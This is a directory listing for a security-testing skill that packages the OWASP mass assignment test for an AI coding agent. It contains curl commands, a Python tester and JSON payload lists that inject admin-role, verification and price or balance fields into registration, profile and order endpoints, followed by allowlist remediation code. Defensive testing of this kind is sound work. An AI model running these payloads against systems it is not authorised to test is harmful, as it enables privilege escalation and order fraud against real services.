Testing for Mass Assignment
Scanned 9/3/2026
Install to Claude Code
npx -y skills add CyberStrikeus/CyberStrike --skill wstg-inpv-20 --agent claude-codeInstalls into .claude/skills of the current project.
Are you the author of Wstg Inpv 20?
Add the live security badge to your README — it updates automatically with every re-scan.
[](https://www.skillsdirectory.com/skills/cyberstrikeus-wstg-inpv-20)More formats (shields.io, HTML) on the badges page.
---
name: wstg-inpv-20
description: "Testing for Mass Assignment"
category: input-validation
owasp_id: WSTG-INPV-20
version: "1.0.0"
author: cyberstrike-official
tags: [injection, input-validation, xss, sqli, wstg, inpv]
tech_stack: []
cwe_ids: []
chains_with: []
prerequisites: []
severity_boost: {}
---
# wstg-inpv-20
## Test ID
WSTG-INPV-20
## Test Name
Testing for Mass Assignment
## High-Level Description
Mass Assignment (also known as Auto-binding or Object Injection) occurs when an application automatically binds user-provided data to internal objects. Attackers can modify object properties they shouldn't have access to, such as changing user roles, prices, or account status by adding extra parameters to requests.
---
## What to Check
- [ ] Hidden parameter injection
- [ ] Role/privilege escalation
- [ ] Price/amount manipulation
- [ ] Status field modification
- [ ] Admin flag injection
- [ ] Timestamp manipulation
---
## How to Test
### Step 1: Identify Mass Assignment Points
```bash
#!/bin/bash
TARGET="https://target.com"
echo "[*] Testing for Mass Assignment..."
# Test user registration with extra parameters
curl -s -X POST "$TARGET/api/register" \
-H "Content-Type: application/json" \
-d '{
"username": "testuser",
"email": "test@test.com",
"password": "TestPass123!",
"role": "admin",
"isAdmin": true,
"is_admin": true
}'
# Test profile update with extra parameters
curl -s -X PUT "$TARGET/api/user/profile" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer TOKEN" \
-d '{
"name": "Test User",
"role": "admin",
"verified": true,
"balance": 999999
}'
```
### Step 2: Mass Assignment Tester
```python
#!/usr/bin/env python3
"""
Mass Assignment Vulnerability Tester
"""
import requests
import json
import copy
class MassAssignmentTester:
def __init__(self, url):
self.url = url
self.findings = []
self.session = requests.Session()
# Common mass assignment parameters
DANGEROUS_PARAMS = {
'privilege_escalation': [
('role', ['admin', 'administrator', 'superuser', 'root']),
('isAdmin', [True, 1, 'true', 'yes']),
('is_admin', [True, 1, 'true', 'yes']),
('admin', [True, 1, 'true', 'yes']),
('user_type', ['admin', 'staff', 'manager']),
('permissions', ['all', '*', 'admin']),
('group', ['admin', 'administrators']),
('groups', [['admin'], ['administrators']]),
],
'account_status': [
('verified', [True, 1]),
('is_verified', [True, 1]),
('email_verified', [True, 1]),
('active', [True, 1]),
('is_active', [True, 1]),
('approved', [True, 1]),
('confirmed', [True, 1]),
],
'financial': [
('balance', [999999, 1000000]),
('credits', [999999]),
('points', [999999]),
('price', [0, 1, 0.01]),
('amount', [0, 1]),
('discount', [100, 99]),
('total', [0, 1]),
],
'access_control': [
('owner_id', [1, 0]),
('user_id', [1, 0]),
('created_by', [1]),
('tenant_id', [1]),
('organization_id', [1]),
],
'timestamps': [
('created_at', ['2099-01-01']),
('updated_at', ['2099-01-01']),
('deleted_at', [None, '']),
('expires_at', ['2099-12-31']),
('valid_until', ['2099-12-31']),
],
}
def test_registration(self, base_data=None):
"""Test mass assignment in user registration"""
print("\n[*] Testing mass assignment in registration...")
if base_data is None:
base_data = {
'username': 'masstest_user',
'email': 'masstest@test.com',
'password': 'TestPass123!'
}
register_url = f"{self.url}/register"
for category, params in self.DANGEROUS_PARAMS.items():
for param_name, test_values in params:
for value in test_values:
test_data = copy.deepcopy(base_data)
test_data[param_name] = value
try:
response = self.session.post(
register_url,
json=test_data
)
# Check if parameter was accepted
if response.status_code in [200, 201]:
resp_data = response.json() if response.text else {}
# Check if dangerous param is reflected
if param_name in str(resp_data):
print(f"[WARN] Parameter accepted: {param_name}={value}")
self.findings.append({
'type': 'Mass Assignment',
'endpoint': 'registration',
'parameter': param_name,
'value': value,
'category': category,
'severity': 'High' if category == 'privilege_escalation' else 'Medium'
})
except Exception as e:
pass
def test_profile_update(self, auth_token=None, base_data=None):
"""Test mass assignment in profile update"""
print("\n[*] Testing mass assignment in profile update...")
if base_data is None:
base_data = {'name': 'Test User'}
headers = {}
if auth_token:
headers['Authorization'] = f'Bearer {auth_token}'
update_url = f"{self.url}/profile"
for category, params in self.DANGEROUS_PARAMS.items():
for param_name, test_values in params:
for value in test_values:
test_data = copy.deepcopy(base_data)
test_data[param_name] = value
try:
response = self.session.put(
update_url,
json=test_data,
headers=headers
)
if response.status_code == 200:
resp_data = response.json() if response.text else {}
if param_name in str(resp_data):
print(f"[WARN] Profile accepts: {param_name}={value}")
self.findings.append({
'type': 'Mass Assignment',
'endpoint': 'profile_update',
'parameter': param_name,
'value': value,
'category': category,
'severity': 'High' if category == 'privilege_escalation' else 'Medium'
})
except Exception as e:
pass
def test_order_manipulation(self, auth_token=None):
"""Test mass assignment in order/checkout"""
print("\n[*] Testing mass assignment in orders...")
order_data = {
'items': [{'product_id': 1, 'quantity': 1}],
'shipping_address': '123 Test St'
}
headers = {}
if auth_token:
headers['Authorization'] = f'Bearer {auth_token}'
order_url = f"{self.url}/orders"
# Test financial parameters
financial_params = [
('total', 0),
('price', 0.01),
('discount', 100),
('shipping_cost', 0),
('tax', 0),
('subtotal', 0),
]
for param_name, value in financial_params:
test_data = copy.deepcopy(order_data)
test_data[param_name] = value
try:
response = self.session.post(
order_url,
json=test_data,
headers=headers
)
if response.status_code in [200, 201]:
resp_data = response.json() if response.text else {}
if str(value) in str(resp_data.get(param_name, '')):
print(f"[VULN] Order accepts: {param_name}={value}")
self.findings.append({
'type': 'Mass Assignment - Price Manipulation',
'endpoint': 'orders',
'parameter': param_name,
'value': value,
'severity': 'Critical'
})
except Exception as e:
pass
def test_api_endpoints(self, endpoints=None, auth_token=None):
"""Test multiple API endpoints for mass assignment"""
print("\n[*] Testing API endpoints...")
if endpoints is None:
endpoints = [
('POST', '/api/users'),
('PUT', '/api/users/{id}'),
('POST', '/api/products'),
('PUT', '/api/products/{id}'),
('POST', '/api/settings'),
]
headers = {'Content-Type': 'application/json'}
if auth_token:
headers['Authorization'] = f'Bearer {auth_token}'
test_params = ['role', 'isAdmin', 'admin', 'verified', 'price', 'status']
for method, endpoint in endpoints:
url = f"{self.url}{endpoint.replace('{id}', '1')}"
for param in test_params:
test_data = {param: 'injected_value'}
try:
if method == 'POST':
response = self.session.post(url, json=test_data, headers=headers)
else:
response = self.session.put(url, json=test_data, headers=headers)
if response.status_code in [200, 201]:
print(f" [INFO] {method} {endpoint}: {param} accepted")
except Exception as e:
pass
def generate_report(self):
"""Generate findings report"""
print("\n" + "="*60)
print("MASS ASSIGNMENT VULNERABILITY REPORT")
print("="*60)
if not self.findings:
print("\nNo mass assignment vulnerabilities confirmed.")
print("Note: Manual verification may still be needed.")
else:
# Group by severity
critical = [f for f in self.findings if f['severity'] == 'Critical']
high = [f for f in self.findings if f['severity'] == 'High']
medium = [f for f in self.findings if f['severity'] == 'Medium']
if critical:
print(f"\n[CRITICAL] ({len(critical)} issues)")
for f in critical:
print(f" - {f['endpoint']}: {f['parameter']}={f['value']}")
if high:
print(f"\n[HIGH] ({len(high)} issues)")
for f in high:
print(f" - {f['endpoint']}: {f['parameter']}={f['value']}")
if medium:
print(f"\n[MEDIUM] ({len(medium)} issues)")
for f in medium:
print(f" - {f['endpoint']}: {f['parameter']}={f['value']}")
def run_tests(self, auth_token=None):
"""Run all mass assignment tests"""
self.test_registration()
self.test_profile_update(auth_token)
self.test_order_manipulation(auth_token)
self.test_api_endpoints(auth_token=auth_token)
self.generate_report()
# Usage
tester = MassAssignmentTester("https://target.com/api")
tester.run_tests(auth_token='your_jwt_token')
```
### Step 3: Common Vulnerable Parameters
```json
// Privilege Escalation
{
"role": "admin",
"isAdmin": true,
"is_admin": true,
"admin": true,
"user_type": "admin",
"permissions": ["all"],
"group": "administrators"
}
// Account Status
{
"verified": true,
"email_verified": true,
"active": true,
"approved": true,
"confirmed": true
}
// Financial
{
"balance": 999999,
"credits": 999999,
"price": 0,
"discount": 100,
"total": 0
}
// Access Control
{
"owner_id": 1,
"user_id": 1,
"tenant_id": 1,
"organization_id": 1
}
```
---
## Tools
| Tool | Purpose |
| ---------------------- | ----------------------- |
| Burp Suite Param Miner | Parameter discovery |
| Arjun | Hidden parameter finder |
| Custom scripts | Targeted testing |
---
## Remediation
```python
# Python/Flask - Explicit field allowlist
from flask import request
from marshmallow import Schema, fields
class UserUpdateSchema(Schema):
# Only these fields can be updated
name = fields.Str()
email = fields.Email()
# role, isAdmin, etc. are NOT included
@app.route('/profile', methods=['PUT'])
def update_profile():
schema = UserUpdateSchema()
data = schema.load(request.json) # Only allowed fields
user.update(**data)
```
```javascript
// Node.js/Express - Allowlist pattern
const allowedFields = ["name", "email", "bio"]
app.put("/profile", (req, res) => {
const updates = {}
for (const field of allowedFields) {
if (req.body[field] !== undefined) {
updates[field] = req.body[field]
}
}
// Only safe fields are used
User.update(userId, updates)
})
```
```ruby
# Rails - Strong Parameters
def user_params
params.require(:user).permit(:name, :email)
# role, admin, etc. are NOT permitted
end
```
---
## Risk Assessment
| Finding | CVSS | Severity |
| ---------------------- | ---- | -------- |
| Admin role assignment | 9.8 | Critical |
| Price manipulation | 8.6 | High |
| Account status bypass | 7.5 | High |
| Timestamp manipulation | 4.3 | Medium |
---
## CWE Categories
| CWE ID | Title |
| ----------- | ------------------------------------------------------------------------------ |
| **CWE-915** | Improperly Controlled Modification of Dynamically-Determined Object Attributes |
---
## Checklist
```
[ ] Registration endpoint tested
[ ] Profile update tested
[ ] Order/payment endpoints tested
[ ] Hidden parameters discovered
[ ] Privilege escalation tested
[ ] Financial manipulation tested
[ ] Findings documented
```
Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.
No comments yet. Be the first to comment!